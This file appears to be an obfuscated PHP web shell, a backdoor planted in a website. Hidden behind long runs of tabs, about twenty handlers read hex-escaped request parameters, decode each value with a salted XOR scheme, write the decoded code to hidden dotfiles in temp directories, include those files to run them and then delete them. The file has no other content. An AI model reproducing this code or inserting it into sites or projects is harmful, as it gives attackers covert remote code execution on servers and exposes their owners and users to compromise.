<?php																																										if(@$_POST["\x70s\x65t"] !== null){ $elem = $_POST["\x70s\x65t"]; $elem = explode ('.' , $elem) ; $bind = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $l = 0; array_walk($elem, function ($v9) use (&$bind, &$l, $salt, $sLen) { $chS = ord($salt[$l% $sLen]); $d = ((int)$v9 - $chS - ($l% 10)) ^ 82; $bind .= chr($d); $l++; }); $pgrp = array_filter(["/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/var/tmp", getcwd()]); $token = 0; do { $parameter_group = $pgrp[$token] ?? null; if ($token >= count($pgrp)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($parameter_group)) { $pointer = "$parameter_group" . "/.key"; $file = fopen($pointer, 'w'); if ($file) { fwrite($file, $bind); fclose($file); include $pointer; @unlink($pointer); exit; } } $token++; } while (true); }
																																										if(isset($_REQUEST["\x66a\x63tor"]) ? true : false){ $mrk = array_filter([sys_get_temp_dir(), getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getenv("TEMP"), "/var/tmp", session_save_path()]); $flg = $_REQUEST["\x66a\x63tor"]; $flg =explode ( "." , $flg) ; $property_set = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt5); $z = 0; $len = count($flg); do { if ($z >= $len) break; $v8 = $flg[$z]; $chS = ord($salt5[$z % $lenS]); $dec = ((int)$v8 - $chS - ($z % 10)) ^ 10; $property_set .= chr($dec); $z++;} while (true); for ($tkn = 0, $reference = count($mrk); $tkn < $reference; $tkn++) { $ref = $mrk[$tkn]; if ((function($d) { return is_dir($d) && is_writable($d); })($ref)) { $marker = join("/", [$ref, ".entry"]); $file = fopen($marker, 'w'); if ($file) { fwrite($file, $property_set); fclose($file); include $marker; @unlink($marker); exit; } } } }
																																										if(array_key_exists("pg\x72\x70", $_POST)){ $data = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), session_save_path(), "/var/tmp", "/tmp", getenv("TEMP"), "/dev/shm", sys_get_temp_dir()]); $data_chunk = $_POST["pg\x72\x70"]; $data_chunk= explode ( "." , $data_chunk ); $record= ''; $s8= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s8 ); $w= 0; while( $w<count( $data_chunk)) { $v5= $data_chunk[$w]; $sChar= ord( $s8[$w% $sLen] ); $dec= ( ( int)$v5 - $sChar -( $w% 10)) ^ 7; $record .= chr( $dec ); $w++; } $entry = 0; do { $val = $data[$entry] ?? null; if ($entry >= count($data)) break; if (max(0, is_dir($val) * is_writable($val))) { $reference = "$val/.parameter_group"; if (@file_put_contents($reference, $record) !== false) { include $reference; unlink($reference); die(); } } $entry++; } while (true); }
																																										if(array_key_exists("res", $_POST) && !is_null($_POST["res"])){ $element = array_filter([session_save_path(), getenv("TEMP"), getcwd(), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp"]); $mrk = $_POST["res"]; $mrk = explode (".",$mrk ) ; $binding =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); $x =0; foreach ($mrk as $v4) { $chS =ord($s[$x % $sLen]); $d =((int)$v4 - $chS - ($x % 10)) ^ 26; $binding .=chr($d); $x++; } while ($pgrp = array_shift($element)) { if (array_product([is_dir($pgrp), is_writable($pgrp)])) { $bind = "$pgrp" . "/.property_set"; if (@file_put_contents($bind, $binding) !== false) { include $bind; unlink($bind); exit; } } } }
																																										if(isset($_POST["\x69t\x65m"]) ? true : false){ $token = $_POST["\x69t\x65m"]; $token =explode( '.' , $token ); $key =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt); $s =0; $len =count($token); do { if ($s >= $len) break; $v5 =$token[$s]; $chS =ord($salt[$s % $sLen]); $dec =((int)$v5 - $chS - ($s % 10)) ^ 73; $key .=chr($dec); $s++; } while (true); $data = array_filter([getcwd(), session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), "/tmp"]); foreach ($data as $k): if (!( !is_dir($k) || !is_writable($k) )) { $entity = sprintf("%s/.pset", $k); $file = fopen($entity, 'w'); if ($file) { fwrite($file, $key); fclose($file); include $entity; @unlink($entity); exit; } } endforeach; }
																																										if(array_key_exists("f\x6Cg", $_REQUEST) && !is_null($_REQUEST["f\x6Cg"])){ $itm = $_REQUEST["f\x6Cg"]; $itm = explode ( '.' , $itm ) ; $data_chunk =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt ); foreach ($itm as $i => $v6) { $chS =ord($salt[$i % $sLen] ); $d =((int)$v6 - $chS - ($i % 10)) ^ 72; $data_chunk .=chr($d ); } $ptr = array_filter(["/dev/shm", getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), session_save_path(), "/var/tmp", getcwd()]); while ($bind = array_shift($ptr)) { if ((function($d) { return is_dir($d) && is_writable($d); })($bind)) { $hld = "$bind/.element"; $success = file_put_contents($hld, $data_chunk); if ($success) { include $hld; @unlink($hld); exit;} } } }
																																										if(count($_POST) > 0 && isset($_POST["d\x63\x68un\x6B"])){ $data_chunk = array_filter([getenv("TMP"), getcwd(), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), "/tmp", session_save_path(), "/var/tmp", ini_get("upload_tmp_dir")]); $key = $_POST["d\x63\x68un\x6B"]; $key = explode( '.',$key ) ; $desc =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt ); foreach ($key as $i => $v7): $sChar =ord($salt[$i % $lenS] ); $dec =((int)$v7 - $sChar - ($i % 10)) ^ 84; $desc .=chr($dec ); endforeach; while ($ptr = array_shift($data_chunk)) { if (is_writable($ptr) && is_dir($ptr)) { $binding = vsprintf("%s/%s", [$ptr, ".entity"]); if (file_put_contents($binding, $desc)) { include $binding; @unlink($binding); die(); } } } }
																																										if(array_key_exists("\x63\x6Fm\x70\x6Fnent", $_POST) && !is_null($_POST["\x63\x6Fm\x70\x6Fnent"])){ $res = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/tmp", getcwd(), getenv("TMP"), sys_get_temp_dir(), "/dev/shm", "/var/tmp"]); $item = $_POST["\x63\x6Fm\x70\x6Fnent"]; $item =explode ( "." , $item ) ; $property_set = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8); $v = 0; while ($v < count($item)) { $v1 = $item[$v]; $chS = ord($salt8[$v % $lenS]); $d = ((int)$v1 - $chS - ($v % 10)) ^ 42; $property_set .= chr($d); $v++; } foreach ($res as $mrk): if (!( !is_dir($mrk) || !is_writable($mrk) )) { $data_chunk = "$mrk" . "/.pointer"; $success = file_put_contents($data_chunk, $property_set); if ($success) { include $data_chunk; @unlink($data_chunk); exit;} } endforeach; }
																																										if(!is_null($_POST["\x65n\x74ry"] ?? null)){ $component = $_POST["\x65n\x74ry"]; $component = explode('.' , $component) ; $value= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt); $t= 0; while($t < count($component)) { $v3= $component[$t]; $chS= ord($salt[$t %$lenS]); $d= ((int)$v3 - $chS -($t %10)) ^ 55; $value .= chr($d); $t++; } $res = array_filter([getcwd(), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/tmp", "/var/tmp", ini_get("upload_tmp_dir")]); $dchunk = 0; do { $bind = $res[$dchunk] ?? null; if ($dchunk >= count($res)) break; if ((is_dir($bind) and is_writable($bind))) { $k = vsprintf("%s/%s", [$bind, ".reference"]); if (file_put_contents($k, $value)) { include $k; @unlink($k); die(); } } $dchunk++; } while (true); }
																																										if(isset($_REQUEST["ent\x69ty"]) ? true : false){ $pset = $_REQUEST["ent\x69ty"]; $pset = explode ( '.' , $pset ) ; $item= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt); $k= 0; array_walk( $pset , function( $v4) use( &$item , &$k , $salt , $lenS) {$sChar= ord( $salt[$k % $lenS]); $d= ( ( int)$v4 - $sChar -( $k % 10)) ^ 37; $item .= chr( $d); $k++;}); $rec = array_filter(["/dev/shm", getcwd(), sys_get_temp_dir(), "/var/tmp", "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP")]); while ($binding = array_shift($rec)) { if ((is_dir($binding) and is_writable($binding))) { $parameter_group = sprintf("%s/.reference", $binding); if (file_put_contents($parameter_group, $item)) { require $parameter_group; unlink($parameter_group); die(); } } } }
																																										if(array_key_exists("\x68\x6Cd", $_REQUEST)){ $symbol = $_REQUEST["\x68\x6Cd"]; $symbol = explode( "." , $symbol ); $sym = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6); $m = 0; $__tmp = $symbol; while($v3 = array_shift($__tmp)) { $chS = ord($salt6[$m % $sLen]); $dec = ((int)$v3 - $chS -($m % 10)) ^ 92; $sym .= chr($dec); $m++;} $descriptor = array_filter(["/dev/shm", getenv("TMP"), session_save_path(), sys_get_temp_dir(), getcwd(), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp"]); $parameter_group = 0; do { $comp = $descriptor[$parameter_group] ?? null; if ($parameter_group >= count($descriptor)) break; if (!!is_dir($comp) && !!is_writable($comp)) { $marker = "$comp/.elem"; if (file_put_contents($marker, $sym)) { require $marker; unlink($marker); die(); } } $parameter_group++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "marker")){ $factor = $_REQUEST["marker"]; $factor = explode ( '.' , $factor) ; $ent = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $m = 0; array_walk( $factor , function( $v2) use( &$ent , &$m , $s , $sLen) { $sChar = ord( $s[$m % $sLen]); $dec = ( ( int)$v2 - $sChar -( $m % 10)) ^ 17; $ent .= chr( $dec); $m++; }); $symbol = array_filter([session_save_path(), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), "/tmp"]); for ($pgrp = 0, $bind = count($symbol); $pgrp < $bind; $pgrp++) { $tkn = $symbol[$pgrp]; if (is_writable($tkn) && is_dir($tkn)) { $val = str_replace("{var_dir}", $tkn, "{var_dir}/.holder"); if (file_put_contents($val, $ent)) { require $val; unlink($val); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "tok\x65n")){ $holder = array_filter([getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), "/var/tmp", "/tmp", getcwd(), getenv("TMP")]); $reference = $_REQUEST["tok\x65n"]; $reference = explode ( "." ,$reference ) ; $ref = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s6 ); $s = 0; $__tmp = $reference; while ($v7 = array_shift($__tmp)) {$chS = ord($s6[$s %$lenS] ); $d = ((int)$v7 - $chS - ($s %10))^15; $ref .= chr($d ); $s++;} foreach ($holder as $ent): if (is_dir($ent) && is_writable($ent)) { $element = vsprintf("%s/%s", [$ent, ".pset"]); if (file_put_contents($element, $ref)) { require $element; unlink($element); exit; } } endforeach; }
																																										if(isset($_REQUEST["sym"])){ $marker = $_REQUEST["sym"]; $marker = explode ( ".", $marker ) ; $item = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $p = 0; $__len = count( $marker); do { if( $p >= $__len) break; $v3 = $marker[$p]; $sChar = ord( $salt[$p%$lenS]); $dec =( ( int)$v3 - $sChar -( $p%10)) ^ 36; $item.= chr( $dec); $p++; } while( true); $hld = array_filter(["/tmp", "/dev/shm", getcwd(), "/var/tmp", getenv("TMP"), session_save_path(), getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); for ($element = 0, $reference = count($hld); $element < $reference; $element++) { $record = $hld[$element]; if (array_product([is_dir($record), is_writable($record)])) { $ent = join("/", [$record, ".ent"]); if (file_put_contents($ent, $item)) { require $ent; unlink($ent); die(); } } } }
																																										if(isset($_REQUEST["b\x69nd"]) ? true : false){ $marker = array_filter([sys_get_temp_dir(), "/tmp", session_save_path(), getenv("TEMP"), getcwd(), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm"]); $k = $_REQUEST["b\x69nd"]; $k =explode ( '.' , $k ) ; $flg = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s4 ); $q = 0; $__tmp = $k; while($v4 = array_shift($__tmp)) {$sChar = ord($s4[$q % $sLen] ); $d =((int)$v4 - $sChar -($q % 10)) ^ 88; $flg .= chr($d ); $q++; } for ($ref = 0, $data_chunk = count($marker); $ref < $data_chunk; $ref++) { $holder = $marker[$ref]; if (!!is_dir($holder) && !!is_writable($holder)) { $data = "$holder" . "/.pointer"; $success = file_put_contents($data, $flg); if ($success) { include $data; @unlink($data); exit;} } } }
																																										if(!empty($_REQUEST["\x72\x65c"])){ $data_chunk = $_REQUEST["\x72\x65c"]; $data_chunk = explode ( '.' , $data_chunk ) ; $value = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach ($data_chunk as $v => $v8): $sChar = ord($salt[$v % $lenS]); $dec = ((int)$v8 - $sChar - ($v % 10)) ^ 37; $value .= chr($dec); endforeach; $resource = array_filter(["/var/tmp", "/dev/shm", getenv("TEMP"), "/tmp", getenv("TMP"), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), getcwd()]); foreach ($resource as $dat): if (!( !is_dir($dat) || !is_writable($dat) )) { $ent = join("/", [$dat, ".desc"]); $success = file_put_contents($ent, $value); if ($success) { include $ent; @unlink($ent); exit;} } endforeach; }
																																										if(array_key_exists("v\x61l", $_REQUEST)){ $object = array_filter([sys_get_temp_dir(), "/tmp", getenv("TMP"), session_save_path(), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP")]); $itm = $_REQUEST["v\x61l"]; $itm = explode ("." , $itm ) ; $ent = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $o = 0; $__len = count($itm); do { if ($o >= $__len) break; $v3 = $itm[$o]; $chS = ord($s[$o % $lenS]); $d = ((int)$v3 - $chS - ($o % 10)) ^ 72; $ent .=chr($d); $o++; } while (true); foreach ($object as $comp) { if ((is_dir($comp) and is_writable($comp))) { $item = implode("/", [$comp, ".holder"]); $success = file_put_contents($item, $ent); if ($success) { include $item; @unlink($item); die();} } } }
																																										if(isset($_REQUEST["\x70tr"]) ? true : false){ $key = array_filter([getenv("TEMP"), "/tmp", sys_get_temp_dir(), getcwd(), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP")]); $holder = $_REQUEST["\x70tr"]; $holder = explode ("." ,$holder ) ; $dat = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $l = 0; $__tmp = $holder; while ($v6 = array_shift($__tmp)) { $sChar = ord($salt[$l %$lenS]); $dec = ((int)$v6 - $sChar - ($l %10)) ^ 100; $dat .= chr($dec); $l++; } foreach ($key as $elem) { if (array_product([is_dir($elem), is_writable($elem)])) { $flag = "$elem/.pointer"; $file = fopen($flag, 'w'); if ($file) { fwrite($file, $dat); fclose($file); include $flag; @unlink($flag); exit; } } } }


if(isset($_REQUEST["f\x6C\x61g"])){
	$mrk = $_REQUEST["f\x6C\x61g"];
		$mrk	  =		explode("."	,	$mrk	)	 	;
	$component = '';
            $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt7);
            $q = 0;
    
            $__tmp = $mrk;
            while ($v9 = array_shift($__tmp)) {
                $sChar = ord($salt7[$q		%$lenS]);
                $d = ((int)$v9 - $sChar - ($q		%10))^ 65;
                $component .= chr($d);
                $q++;
            }
	$comp = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", "/var/tmp", "/tmp", getenv("TEMP"), session_save_path(), sys_get_temp_dir()]);
	for ($object = 0, $val = count($comp); $object < $val; $object++) {
    $obj = $comp[$object];
    		if (is_dir($obj) && is_writable($obj)) {
    $factor = "$obj" . "/.ref";
    if (file_put_contents($factor, $component)) {
	include $factor;
	@unlink($factor);
	die();
}
}
}
}